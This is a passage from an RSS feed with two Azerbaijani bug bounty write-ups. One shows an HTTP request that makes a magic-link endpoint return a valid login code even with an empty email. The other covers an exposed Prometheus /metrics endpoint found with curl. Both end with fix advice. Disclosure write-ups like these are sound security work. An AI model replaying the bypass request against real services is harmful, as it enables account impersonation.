src="https://cdn-images-1.medium.com/max/644/1*MhkhigBMSpZs6ek8ByAR4Q.jpeg" /></figure><h4>Nümunə 2 — Boş email ilə sorğu:</h4><pre>POST /auth/magiclink HTTP/2<br>Host: api.target.dev<br>Content-Type: application/json<br><br>{<br>  &quot;destination&quot;: &quot;&quot;<br>}</pre><p>Cavab isə yenə eynidir — server sadəcə <strong>email yoxlaması aparmadan</strong> keçərli kod göndərir:</p><pre>{<br>  &quot;success&quot;: true,<br>  &quot;code&quot;: &quot;88084&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*4lav7T0KmxhjrfBvJtLEAg.jpeg" /></figure><h3>Təhlükənin Ciddiliyi</h3><p>Bu davranış aşağıdakı təhlükələri ortaya çıxarır:</p><ul><li><strong>Email doğrulaması olmadan</strong> kod göndərilir.</li><li>Kod <strong>client-a geri qaytarılır</strong>, yəni <strong>mitm, attacker və ya JS debug vasitəsilə</strong> oxuna bilər.</li><li>Bu kodlarla sistemdə <strong>giriş təqlidi (login impersonation)</strong> mümkündür.</li><li>destination boş və ya saxta olsa belə <strong>valide kod</strong> alınırsa, artıq burada ciddi <strong>sənədləşdirilməmiş backdoor</strong> səviyyəsində problem var.</li></ul><h3>Töhvsiyələr:</h3><ul><li>Kodlar <strong>heç bir zaman</strong> frontend-ə qaytarılmamalıdır.</li><li>Kod <strong>yalnız email vasitəsilə</strong> göndərilməli və <strong>serverdə doğrulanmalıdır.</strong></li><li>destination input-u üçün <strong>boşluq, email formatı və qeydiyyat yoxlaması</strong> tətbiq olunmalıdır.</li><li>Bu endpoint-lərdə <strong>rate-limiting</strong>, <strong>monitoring</strong> və <strong>audit log</strong> sistemi tətbiq edilməlidir.</li></ul><p>Ve beləliklə bu da mənim <strong>8-ci duplicate bounty təcrübəm oldu.</strong> 😅 <br>Hər nə qədər reward alınmasa da, belə ciddi bir boşluğu aşkarlamaq və sənədləşdirmək özü böyük uğurdur. Bu yolun öz təcrübəsi, öz mübarizəsi var . Davamı gələcək — #9 yoldadır.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca4525f9012c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exposed Prometheus Metrics Endpoint (Valid but Duplicate)]]></title>
            <link>https://medium.com/@Vusal.Valizade/exposed-prometheus-metrics-endpoint-valid-but-duplicate-a95fee8356ce?source=rss-f7b32ad524ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/a95fee8356ce</guid>
            <dc:creator><![CDATA[Vusal Valizade]]></dc:creator>
            <pubDate>Wed, 18 Jun 2025 16:50:44 GMT</pubDate>
            <atom:updated>2025-06-18T16:52:32.541Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uNGOUbYnqw7iVTlMlY1kfA.png" /></figure><p>Pentest zamanı təsadüfən /metrics endpoint-ini yoxlayanda, <strong>Prometheus formatında sistem məlumatlarının authentication olmadan açıq olduğunu</strong> gördüm:</p><ol><li><a href="https://api.staging.[domain]/metrics">https://api.staging.[domain]/metrics</a></li><li><a href="https://dashboard.hackenproof.com/redirect?url=https://api.v1.play.flow.com/metrics">https://api.v1.play.[domain]/metrics</a></li><li><a href="https://dashboard.hackenproof.com/redirect?url=https://api.production.play.flow.com/metrics">https://api.production.play.[domain]/metrics</a></li></ol><p>Sistemin <strong>CPU yüklənməsi</strong>, <strong>yaddaş istifadəsi</strong>, <strong>open file descriptor</strong> sayı, <strong>HTTP error count</strong>, <strong>stale projects</strong>, və s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*gJSsYPMGkWsVHxGpYR-W-g.png" /></figure><p>Bu məlumatlar birbaşa şəxsi məlumatlar olmasa da, <strong>sistemə dair kifayət qədər dəyərli məlumat verir</strong> — və bu da recon üçün əladır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*OfoPhpcvHvRFppwEBQxttQ.png" /></figure><p>Sadə recon + bəzi wordlistlərlə endpointləri yoxlayarkən metrics, prometheus, actuator/prometheus kimi yolları yoxladım:</p><pre>curl -v https://api.staging.[domain]/metrics</pre><p>200 OK və qarşıda Prometheus metriklərinin seli:</p><pre># HELP process_cpu_seconds_total Total user and system CPU time spent in seconds.<br># TYPE process_cpu_seconds_total counter<br>process_cpu_seconds_total 3453.25</pre><pre># HELP promhttp_metric_handler_requests_total Total number of HTTP requests handled by Prometheus handler<br># TYPE promhttp_metric_handler_requests_total counter<br>promhttp_metric_handler_requests_total{code=&quot;200&quot;} 1862</pre><pre># HELP server_error_total Total number of server errors<br>server_error_total 53<br>...</pre><h3>Təhlükə nədir?</h3><p>Bu cür məlumatların açıq olması:</p><ul><li>Hücumçulara sistemin yükü və zəif nöqtələri barədə <strong>kəşfiyyat (recon)</strong> imkanı verir</li><li>Error count və request rate kimi məlumatlar əsasında <strong>DoS hücumlarının planlanması</strong> mümkündür</li><li>Endpoint heç bir auth və ya IP filter tətbiq etmədiyindən <strong>hər kəs üçün açıqdır</strong></li></ul><h3>Tövsiyəm:</h3><ul><li>/metrics kimi endpointlər ya <strong>authentication</strong> ilə qorunmalı, ya da <strong>IP filtering</strong> tətbiq olunmalıdır.</li><li>Əgər mütləq açıq olmalıdırsa, <strong>hansı metriklərin göstəriləcəyini filtr edin</strong></li><li><strong>Scraping qarşısını almaq üçün</strong> access log-ları izləyin və rate-limit tətbiq edin</li></ul><p><strong>7-ci duplicate reportumdur</strong> və hər biri mənə nəsə öyrədib.<br> <strong>Və mən bununla dayanmayacağam — siz də dayanmayın!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a95fee8356ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>